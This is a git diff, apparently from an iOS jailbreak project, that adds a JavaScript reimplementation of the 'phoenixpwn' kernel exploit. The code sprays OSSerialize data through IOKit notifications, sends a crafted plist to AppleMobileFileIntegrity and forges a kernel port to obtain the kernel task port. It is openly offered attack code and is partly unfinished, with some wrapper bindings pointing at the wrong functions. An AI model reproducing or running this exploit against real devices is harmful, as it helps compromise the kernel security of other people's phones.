diff options
Diffstat (limited to 'src/js')
| -rw-r--r-- | src/js/kexp/exploit.js | 156 | ||||
| -rw-r--r-- | src/js/lib/myutils.js | 33 | ||||
| -rw-r--r-- | src/js/main.js | 6 | ||||
| -rw-r--r-- | src/js/primitives/call.js | 2 | ||||
| -rw-r--r-- | src/js/primitives/mem.js | 8 |
5 files changed, 198 insertions, 7 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js new file mode 100644 index 0000000..48d7f62 --- /dev/null +++ b/src/js/kexp/exploit.js @@ -0,0 +1,156 @@ +/* + * phoenixpwn kernel exploit + * reimplemented in JS + * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy + */ + +var sanity_port = 0; +var MACH_PORT_RIGHT_RECEIVE = 0x1; +var MACH_MSG_TYPE_MAKE_SEND = 0x14; +var MACH_PORT_LIMITS_INFO = 0x1; +var MACH_PORT_LIMITS_INFO_COUNT = 0x1; +var kport_size = 0x78; +var kport_ip_bits4 = 0x0; +var kport_ip_references4 = 0x4; +var kport_ip_lock_type4 = 0x10; +var kport_ip_messages_port_qlimit2 = 0x42; +var kport_ip_receiver4 = 0x4c; +var kport_ip_srights4 = 0x70; +var KERN_SUCCESS = 0; +var NULL = 0; +var MACH_PORT_NULL = 0; + +var kOSSerializeDictionary = 0x01000000; +var kOSSerializeArray = 0x02000000; +var kOSSerializeSet = 0x03000000; +var kOSSerializeNumber = 0x04000000; +var kOSSerializeSymbol = 0x08000000; +var kOSSerializeString = 0x09000000; +var kOSSerializeData = 0x0a000000; +var kOSSerializeBoolean = 0x0b000000; +var kOSSerializeObject = 0x0c000000; + +var kOSSerializeTypeMask = 0x7F000000; +var kOSSerializeDataMask = 0x00FFFFFF; + +var kOSSerializeEndCollection = 0x80000000; + +var kOSSerializeMagic = 0x000000d3; + +var SIZEOF_BYTES_MSG = 384; + +var PORTS_NUM = 1024; +var PORTS_NUM_PRESPRAY = 100; +var MIG_MAX = 0x1000; +var NDR_record = 0x36ebf00c; + +function spray_data(mem, size, num, portptr) { + var err = malloc(4); + var ret = 0; + var master = malloc(4); + host_get_io_master(mach_host_self(), master); + var dict = malloc(MIG_MAX); + var __cnt = 0; + write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; + write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; + + for (var i = 0; i < num; i++) { + if (i == (num - 1)) { + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; + } else { + write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; + } + if (mem != 0 && size != 0) { + memcpy(dict + (__cnt << 2), mem, size); + } + memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); + __cnt += SIZEOF_BYTES_MSG / 4; + } + + printf("%x %x\n", master, read_u32(master)); + ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + + return ret; +} + +function copyinPort(kport, cnt) { + var err = malloc(4); + var ret = 0; + var self = mach_task_self(); + var service = MACH_PORT_NULL; + var client = malloc(4); + var it = MACH_PORT_NULL; + var o = MACH_PORT_NULL; + var data = malloc(4); + var master = malloc(4); + host_get_io_master(mach_host_self(), master); + ret = spray_data(NULL, 0, 5, data); + printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); + printf("sprayed, still here\n"); + + service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); + printf("service=%x\n", service); + + var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + var kpbuf = tst + 4; + for (var i = 0; i < cnt; i++) { + write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); + } + + var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"); +// write_u32(err, 0); + ret = io_service_open_extended(service, self, 0, NDR_record + get_dyld_shc_slide(), xml, strlen(xml), err, client); + printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); +} + +function get_kernel_task() { + var ret = 0; + var tfp0 = 0; + + sanity_port = malloc(4); + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, sanity_port); + mach_port_insert_right(mach_task_self(), read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); + limits = malloc(4); + write_u32(limits, 1000); + mach_port_set_attributes(mach_task_self(), read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); + + printf("starting exploit\n"); + + var data = malloc(16); + var kport = malloc(kport_size * 2); + var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something + write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + write_u32(kport + kport_ip_references4, 100); + write_u32(kport + kport_ip_lock_type4, 0x11); + write_u16(kport + kport_ip_messages_port_qlimit2, 777); + write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy + write_u32(kport + kport_ip_srights4, 99); + + var big_buf = malloc(MIG_MAX); + var small_buf = malloc(MIG_MAX); + + var big_size = 0; + var small_size = 0; + + var fp = malloc(PORTS_NUM * 4); + var postSpray = malloc(4); + + usleep(10000); + sched_yield(); + var kptr = copyinPort(kport, 2); + + printf("get lucky\n"); + + return tfp0; +}
\ No newline at end of file diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index 29085c3..d531cc8 100644 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -64,10 +64,14 @@ function sleep(t) { } */ -function scall_wrapper() { +function scall_wrapper(s) { function _scall_wrapper() { var args_to_pass = new Array(); - args_to_pass.push(arguments.callee.func_name); + if (arguments.callee.hasOwnProperty("func_name")) { + args_to_pass.push(arguments.callee.func_name); + } else { + args_to_pass.push(s); + } if (arguments.callee.hasOwnProperty("pre_args")) { args_to_pass = args_to_pass.concat(arguments.callee.pre_args); @@ -85,8 +89,23 @@ function scall_wrapper() { return _scall_wrapper; } -var syslog = scall_wrapper(); -syslog.func_name = "syslog"; - -var sleep = scall_wrapper(); -sleep.func_name = "sleep";
\ No newline at end of file +var syslog = scall_wrapper("syslog"); +var sleep = scall_wrapper("sleep"); +var strlen = scall_wrapper("strlen"); +var mach_task_self = scall_wrapper("mach_task_self"); +var mach_thread_self = scall_wrapper("mach_thread_self"); +var malloc = scall_wrapper("malloc"); +var mach_port_allocate = scall_wrapper("malloc"); +var mach_port_insert_right = scall_wrapper("malloc"); +var mach_port_set_attributes = scall_wrapper("mach_port_set_attributes"); +var usleep = scall_wrapper("usleep"); +var sched_yield = scall_wrapper("sched_yield"); +var memcpy = scall_wrapper("memcpy"); +var memset = scall_wrapper("memset"); +var io_service_add_notification_ool = scall_wrapper("io_service_add_notification_ool"); +var host_get_io_master = scall_wrapper("host_get_io_master"); +var mach_host_self = scall_wrapper("mach_host_self"); +var mach_error_string = scall_wrapper("mach_error_string"); +var IOServiceGetMatchingService = scall_wrapper("IOServiceGetMatchingService"); +var IOServiceMatching = scall_wrapper("IOServiceMatching"); +var io_service_open_extended = scall_wrapper("io_service_open_extended");
\ No newline at end of file diff --git a/src/js/main.js b/src/js/main.js index 018e514..b3b0e4c 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -46,6 +46,12 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); + var tfp0 = get_kernel_task(); + + printf("tfp0=%x\n", tfp0); + + return 0; + var i = 0; while (true) { // scall("printf", "get rekt from jsc %d (slide=%x)\n", i, slide); diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index af9ede0..9bb43c1 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -260,5 +260,7 @@ function scall() { } } +// printf("%s\n", args_to_pass.toString()); + return callnarg.apply(this, args_to_pass); }
\ No newline at end of file diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index 551b59f..85cd132 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -83,6 +83,14 @@ function write_buf(addy, buf, len) { return buf; } +function write_u32_buf(addy, buf, len) { + for (cur_addy = addy; cur_addy < (addy + len); cur_addy += 4) { + write_u32(cur_addy, buf[(cur_addy - addy) / 4]); + } + + return buf; +} + /* * write uint8_t */ |
